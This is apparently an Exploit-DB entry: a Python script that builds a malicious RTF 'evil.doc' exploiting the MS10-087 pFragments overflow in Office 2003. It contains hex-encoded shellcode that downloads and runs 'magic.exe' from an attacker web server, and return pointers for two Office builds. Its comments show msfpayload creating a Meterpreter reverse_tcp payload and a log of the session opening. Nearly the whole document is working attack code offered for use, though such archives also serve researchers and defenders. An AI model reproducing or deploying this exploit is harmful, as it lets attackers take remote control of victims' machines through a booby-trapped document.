Microsoft Office 2003 Home/Pro – Code Execution (MS10-087)
#!/usr/bin/python # # Note from the Exploit-DB team: This might be the same bug as: # https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb # #-----------------------------------------------------------------------------------# # Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3 # # Authors: b33f (Ruben Boonen) && g11tch (Chris Hodges) # ##################################################################################### # One shellcode to rule them all, One shellcode to find them, One shellcode to # # bring them all and in the darkness bind them!! # # # # Greetings: offsec, corelan, setoolkit # ##################################################################################### # (1) root@bt:~/Desktop/office# ./office2003.py # # root@bt:~/Desktop/office# mv evil.doc /var/www/ # # # # (2) msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=9988 X # # > /var/www/magic.exe # # # # (3) msf exploit(handler) > exploit # # # # [*] Started reverse handler on 192.168.111.132:9988 # # [*] Starting the payload handler... # # [*] Sending stage (752128 bytes) to 192.168.111.128 # # [*] Meterpreter session 1 opened (192.168.111.132:9988 -> 192.168.111.128:1073)# # at 2012-01-08 18:46:26 +0800 # # # # meterpreter > ipconfig # # # # MS TCP Loopback interface # # Hardware MAC: 00:00:00:00:00:00 # # IP Address : 127.0.0.1 # # Netmask : 255.0.0.0 # # # # AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport # # Hardware MAC: 00:0c:29:6c:92:42 # # IP Address : 192.168.111.128 # # Netmask : 255.255.255.0 # #-----------------------------------------------------------------------------------# import binascii filename = "evil.doc" #-----------------------------------------------------------------------------------# # File Structure # #-----------------------------------------------------------------------------------# file = ( "{\\rt##{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\s" "hpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv{\*\*\*\*\*" "\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff") #-----------------------------------------------------------------------------------# # Open raw socket to download payload to parent directory as "a.exe" # # ==> cmd execute "a.exe" # #-----------------------------------------------------------------------------------# magic = ( "\x65\x62\x37\x37\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30" "\x38\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65" "\x30\x38\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39" "\x34\x66\x31\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63" "\x32\x34\x32\x34\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x30\x35" "\x37\x38\x30\x31\x65\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61" "\x32\x30\x30\x31\x65\x62\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34" "\x38\x62\x30\x31\x65\x65\x33\x31\x66\x66\x33\x31\x63\x30\x66\x63" "\x61\x63\x38\x34\x63\x30\x37\x34\x30\x37\x63\x31\x63\x66\x30\x64" "\x30\x31\x63\x37\x65\x62\x66\x34\x33\x62\x37\x63\x32\x34\x32\x38" "\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34\x30\x31\x65\x62\x36\x36" "\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31\x63\x30\x31\x65\x62" "\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39\x34\x34\x32\x34" "\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66\x66\x66\x66" "\x35\x66\x38\x31\x65\x66\x39\x38\x66\x66\x66\x66\x66\x66\x65\x62" "\x30\x35\x65\x38\x65\x64\x66\x66\x66\x66\x66\x66\x36\x38\x38\x65" "\x34\x65\x30\x65\x65\x63\x35\x33\x65\x38\x39\x34\x66\x66\x66\x66" "\x66\x66\x33\x31\x63\x39\x36\x36\x62\x39\x36\x66\x36\x65\x35\x31" "\x36\x38\x37\x35\x37\x32\x36\x63\x36\x64\x35\x34\x66\x66\x64\x30" "\x36\x38\x33\x36\x31\x61\x32\x66\x37\x30\x35\x30\x65\x38\x37\x61" "\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x35\x31\x35\x31\x38\x64" "\x33\x37\x38\x31\x63\x36\x65\x65\x66\x66\x66\x66\x66\x66\x38\x64" "\x35\x36\x30\x63\x35\x32\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38" "\x39\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x35\x62\x66\x66" "\x66\x66\x66\x66\x34\x31\x35\x31\x35\x36\x66\x66\x64\x30\x36\x38" "\x37\x65\x64\x38\x65\x32\x37\x33\x35\x33\x65\x38\x34\x62\x66\x66" "\x66\x66\x66\x66\x66\x66\x64\x30\x36\x33\x36\x64\x36\x34\x32\x65" "\x36\x35\x37\x38\x36\x35\x32\x30\x32\x66\x36\x33\x32\x30\x32\x30" "\x36\x31\x32\x65\x36\x35\x37\x38\x36\x35\x30\x30") #------------------------------------------------------------------------------------------------------------------------------# # Two versions of office 2003 floating around: # # (1) Standalone version, (2) XP Service Pack upgrade # ################################################################################################################################ # Unfortunatly though the exploit works perfectly for both versions they require different pointers to ESP... # # # # (1) 0x30324366 - CALL ESP - WINWORD.exe => "\x36\x36\x34\x33\x33\x32\x33\x30" # # => http://download.microsoft.com/download/6/2/3/6233A257-16BD-4C8D-BF4C-6FA59AF9213A/OfficeSTD.exe # # # # (2) 0x30402655 - PUSH ESP -> RETN - WINWORD.exe => "\x35\x35\x32\x36\x34\x30\x33\x30" # # => http://download.microsoft.com/download/7/7/8/778493c2-ace3-44c5-8bc3-d102da80e0f6/Office2003SP3-KB923618-FullFile-ENU.exe # #------------------------------------------------------------------------------------------------------------------------------# EIP = "\x36\x36\x34\x33\x33\x32\x33\x30" #should ascii convert the Little Endian pointer filler = "\x30\x30\x30\x30\x38\x30\x37\x63"*2 + "\x41"*24 + "\x39\x30"*18 buffer = "\x23"*501 + "\x30\x35" + "\x30"*40 + EIP + filler + magic #-----------------------------------------------------------------------------------# # Since we are downloading our payload from a remote webserver there are no # # restrictions on payload size or badcharacters... # #-----------------------------------------------------------------------------------# URL = "http://192.168.111.132/magic.exe" binnu = binascii.b2a_hex(URL) URL2 = "00" nxt="{}}}}}}" nxt+="\x0d\x0a" nxt+="}" textfile = open(filename , 'w') textfile.write(file+buffer+binnu+URL2+nxt) textfile.close() |